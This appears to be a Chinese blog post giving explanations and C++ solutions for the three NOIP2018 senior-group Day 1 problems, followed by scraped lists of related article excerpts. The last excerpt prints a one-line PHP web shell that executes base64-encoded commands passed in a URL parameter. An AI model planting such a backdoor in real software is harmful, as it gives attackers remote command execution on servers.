NOIP2018 提高组题解
Day1
T1
据说是原题积木大赛,但是考场上蠢了,只会写数据结构,于是写了一个线段树$+$堆$+$贪心,先选出最小的,然后区间修改,然后把左右两端区间的最小值丢进堆里,不停从堆中去最小值更新即可(模拟题)
#include <cstdio>
#include <cstring>
#include <iostream>
#include <algorithm>
using std::pop_heap; using std::push_heap;
using std::greater; using std::min;
#define file(a) freopen(a".in", "r", stdin); freopen(a".out", "w", stdout);
typedef long long ll;
template <typename T>
inline void read(T &x) {
x = 0; char ch = getchar(); int f = 1;
while(ch < '0' || ch > '9') { if(ch == '-') f = -f; ch = getchar(); }
while(ch >= '0' && ch <= '9') x = x * 10 + ch - '0', ch = getchar();
x *= f;
}
const int N = 1e5 + 10, LogN = 20, Inf = 1e9 + 7;
int n, d[N];
struct Range {
int minval, site, l, r;
inline bool operator < (const Range &a) const {
return minval < a.minval;
}
inline bool operator > (const Range &a) const {
return minval > a.minval;
}
};
Range val[N << 2]; int add[N << 2];
struct Heap {
Range h[N]; int siz;
void push(Range x) { h[++siz] = x, push_heap(&h[1], &h[siz + 1], greater<Range>()); }
void pop() { pop_heap(&h[1], &h[siz + 1], greater<Range>()), --siz; }
inline bool empty() { return siz == 0; }
inline int size() { return siz; }
inline Range top() { return h[1]; }
}q;
inline void pushup(int o, int lc, int rc) {
val[o] = min(val[lc], val[rc]);
}
inline void pushdown(int o, int lc, int rc) {
if(add[o]) {
val[lc].minval += add[o], val[rc].minval += add[o];
add[lc] += add[o], add[rc] += add[o], add[o] = 0;
}
}
void build(int o = 1, int l = 1, int r = n) {
if(l == r) { val[o] = (Range){d[l], l, l, l}; return ; }
int mid = (l + r) >> 1, lc = o << 1, rc = lc | 1;
build(lc, l, mid), build(rc, mid + 1, r), pushup(o, lc, rc);
}
void modify(int ml, int mr, int k, int o = 1, int l = 1, int r = n) {
if(ml > mr) return ;
if(l >= ml && r <= mr) {
val[o].minval += k, add[o] += k;
return ;
} int mid = (l + r) >> 1, lc = o << 1, rc = lc | 1;
pushdown(o, lc, rc);
if(ml <= mid) modify(ml, mr, k, lc, l, mid);
if(mr > mid) modify(ml, mr, k, rc, mid + 1, r);
pushup(o, lc, rc);
}
Range query(int ml, int mr, int o = 1, int l = 1, int r = n) {
if(ml > mr) return (Range){Inf,0,0,0};
if(l >= ml && r <= mr) return val[o];
int mid = (l + r) >> 1, lc = o << 1, rc = lc | 1; Range val = (Range){Inf,0,0,0};
pushdown(o, lc, rc);
if(ml <= mid) val = query(ml, mr, lc, l, mid);
if(mr > mid) val = min(val, query(ml, mr, rc, mid + 1, r));
return val;
}
int main () {
file("road");
read(n);
for(int i = 1; i <= n; ++i) read(d[i]);
build();
int tmpn = n, ret = 0; Range now = val[1];
now.l = 1, now.r = n; q.push(now);
while(tmpn && q.size()) {
now = q.top(), q.pop(); --tmpn;
ret += now.minval;
modify(now.l, now.r, -now.minval);
Range l = query(now.l, now.site - 1), r = query(now.site + 1, now.r);
l.l = now.l, l.r = now.site - 1, r.l = now.site + 1, r.r = now.r;
q.push(l), q.push(r);
} printf("%d\n", ret);
return 0;
}
T2
不难发现,两个硬币系统是等价的当且仅当其中的某些硬币能被除自己以外的硬币凑出来。完全背包强制不选自己就行了。
#include <cstdio>
#include <cstring>
#include <algorithm>
using std::max; using std::sort;
#define file(a) freopen(a".in", "r", stdin); freopen(a".out", "w", stdout);
typedef long long ll;
template <typename T>
inline void read(T &x) {
x = 0; char ch = getchar(); int f = 1;
while(ch < '0' || ch > '9') { if(ch == '-') f = -f; ch = getchar(); }
while(ch >= '0' && ch <= '9') x = x * 10 + ch - '0', ch = getchar();
x *= f;
}
const int N = 1e2 + 10, M = 2.5e4 + 10;
int t, n, a[N], f[M];
int main () {
file("money");
read(t);
while(t--) {
read(n); int ret = 0, m = 0;
for(int i = 1; i <= n; ++i) read(a[i]), m = max(m, a[i]);
memset(f, 0, sizeof f), sort(&a[1], &a[n + 1]);
for(int i = 1; i <= n; ++i) {
for(int j = a[i] + 1; j <= m; ++j)
f[j] |= f[j - a[i]];
if(!f[a[i]]) {
++ret, f[a[i]] = 1;
for(int j = a[i]; j <= m; ++j)
f[j] |= f[j - a[i]];
}
}
printf("%d\n", ret);
}
return 0;
}
T3
显然,这种最小值最大可以二分答案,考虑如何$check$,不妨考虑树形$dp$,设$f[u]$表示在$u$的子树中选一条权值和最大的路径,对于一个子节点$v$,如果$f[v]+dis[u][v]$满足,显然可以选,然后在考虑不满足的情况,显然是选择两条路径拼接在一起,可以用$set$+二分搞(其实容易被卡常)。
#include <set>
#include <cstdio>
#include <cstring>
#include <algorithm>
using std::max; using std::min; using std::sort;
#define file(a) freopen(a".in", "r", stdin); freopen(a".out", "w", stdout);
typedef long long ll;
using std::multiset;
template <typename T>
inline void read(T &x) {
x = 0; char ch = getchar(); int f = 1;
while(ch < '0' || ch > '9') { if(ch == '-') f = -f; ch = getchar(); }
while(ch >= '0' && ch <= '9') x = x * 10 + ch - '0', ch = getchar();
x *= f;
}
const int N = 5e4 + 10, Inf = 1e9 + 7;
int n, m, g, k;
int cnt, from[N], to[N << 1], dis[N << 1], nxt[N << 1];
int f[N], st[N]; multiset<int> s; multiset<int>::iterator it;
int l, r;
inline void addEdge(int u, int v, int w) {
to[++cnt] = v, nxt[cnt] = from[u], dis[cnt] = w, from[u] = cnt;
}
void doit (int u, int fa) {
for(int i = from[u]; i; i = nxt[i])
if(to[i] != fa) doit(to[i], u);
int top = 0;
for(int i = from[u]; i; i = nxt[i]) {
int v = to[i]; if(v == fa) continue;
f[v] += dis[i];
if(f[v] >= g) ++k;
else st[++top] = f[v];
} sort(&st[1], &st[top + 1]), s.clear();
for(int i = 1; i <= top; ++i) {
it = s.lower_bound(g - st[i]);
if(it != s.end()) s.erase(it), ++k;
else s.insert(st[i]);
}
f[u] = s.size() ? *s.rbegin() : 0;
}
int main () {
file("track");
read(n), read(m);
for(int i = 1, u, v, w; i < n; ++i) {
read(u), read(v), read(w), r += w;
addEdge(u, v, w), addEdge(v, u, w);
} r /= m; int ret = 0;
while(l <= r) {
g = (l + r) >> 1, k = 0;
doit(1, 0);
if(k >= m) ret = g, l = g + 1;
else r = g - 1;
} printf("%d\n", ret);
return 0;
}
NOIP2018 提高组题解的更多相关文章
- NOIP2018提高组题解
D1T1:铺设道路 回忆NOIP2013D2T1 积木大赛,发现这两题唯一的区别就是一个是造山一个是填坑,而把填坑的操作反序就是造山,所以可以直接使用那道题的方法. 具体方法是,从左到右每次考虑新的一 ...
- 【NOIP2018】提高组题解
[NOIP2018]提高组题解 其实就是把写过的打个包而已 道路铺设 货币系统 赛道修建 旅行 咕咕咕 咕咕咕
- NOIP2018提高组省一冲奖班模测训练(六)
NOIP2018提高组省一冲奖班模测训练(六) https://www.51nod.com/Contest/ContestDescription.html#!#contestId=80 20分钟AC掉 ...
- NOIP2018提高组省一冲奖班模测训练(五)
NOIP2018提高组省一冲奖班模测训练(五) http://www.51nod.com/Contest/ContestDescription.html#!#contestId=79 今天有点浪…… ...
- noip2010提高组题解
NOIP2010提高组题解 T1:机器翻译 题目大意:顺序输入n个数,有一个队列容量为m,遇到未出现元素入队,求入队次数. AC做法:直接开1000的队列模拟过程. T2:乌龟棋 题目大意:有长度为n ...
- NOIP 2014 提高组 题解
NOIP 2014 提高组 题解 No 1. 生活大爆炸版石头剪刀布 http://www.luogu.org/problem/show?pid=1328 这是道大水题,我都在想怎么会有人错了,没算法 ...
- NOIP 2001 提高组 题解
NOIP 2001 提高组 题解 No 1. 一元三次方程求解 https://vijos.org/p/1116 看见有人认真推导了求解公式,然后猥琐暴力过的同学们在一边偷笑~~~ 数据小 暴力枚举即 ...
- NOIP 2000 提高组 题解
NOIP2000 提高组 题解 No 1. 进制转换 https://www.rqnoj.cn/problem/295 水题 对于n和基数r, 每次用n mod r, 把余数按照逆序排列 注意 mod ...
- [NOIp2018提高组]旅行
[NOIp2018提高组]旅行: 题目大意: 一个\(n(n\le5000)\)个点,\(m(m\le n)\)条边的连通图.可以从任意一个点出发,前往任意一个相邻的未访问的结点,或沿着第一次来这个点 ...
随机推荐
- [洛谷P3628] [APIO2010]特别行动队
洛谷题目链接:[APIO2010]特别行动队 题目描述 你有一支由 n 名预备役士兵组成的部队,士兵从 1 到 \(n\) 编号,要将他们拆分 成若干特别行动队调入战场.出于默契的考虑,同一支特别行动 ...
- 【C++对象模型】第六章 执行期语意学
执行期语意学,即在程序执行时,编译器产生额外的指令调用,确保对象的构造,内存的释放,以及类型转换与临时对象的生成的安全进行. 1.对象的构造和析构 对于类对象的构造,一般在定义之后则开始内部的构造过程 ...
- NGINX: 返回大 JSON 数据不完整的问题
说明: 内容全部来自 [ CSDN 金玮良 ] nginx 返回数据不完整的问题 当nginx 遇到大数据流时,会把数据先放在自己的缓冲区,然后一并发给客户端. 那如果这个结论成立, 那一次请求的数据 ...
- 【洛谷 P4116】 Qtree3 (树链剖分)
题目链接 树剖练手题,想复习下树剖. 第一次提交\(T\)成QQC 看我 ??? 看了数据范围的确挺恶心的,我的复杂度是\(O(Mlog^2N)\)的,数据范围有三段 For 1/3 of the t ...
- position的用法与心得
position的四个属性值: relative absolute fixed static 为了便于理解,首先创建对应的div <div class="main"> ...
- Android应用程序App应用上线流程
对于很多初级开发者,可能对app应用上线不太了解,本文跟大家介绍一下怎么上线app应用.上线App并不是一件很困难的事情,App的应用功能也不需要很强大,甚至不用联网,只有简单的一两个页面的App应用 ...
- Java线程(一)
1. java什么叫线程安全?什么叫不安全? 就是线程同步的意思,就是当一个程序对一个线程安全的方法或者语句进行访问的时候,其他的不能再对他进行操作了,必须等到这次访问结束以后才能对这个线程安全的方法 ...
- 【转】linux下杀死进程
经过搜集和整理相关的Linux操作系统杀死进程的材料,在这里给大家推荐本篇文章,希望大家看后会有不少收获. 1. kill 作用:根据进程号杀死进程 用法: kill [信号代码] 进程ID 举例: ...
- [bzoj1070] 修车
这周学习了费用流,就写了几题.其中有一题就是bzoj上的修车,看起来很丧,交了6次都是除了样例全wa(事实证明样例说明不了什么,还会误导你……). 题目大意:有m个技术人员n辆车,一个技术人员只能同时 ...
- php中的base64写shell
<?php system(base64_decode($_GET['info'])); #http://localhost/1.php?info=d2hvYW1p #这只是一个例子 ?>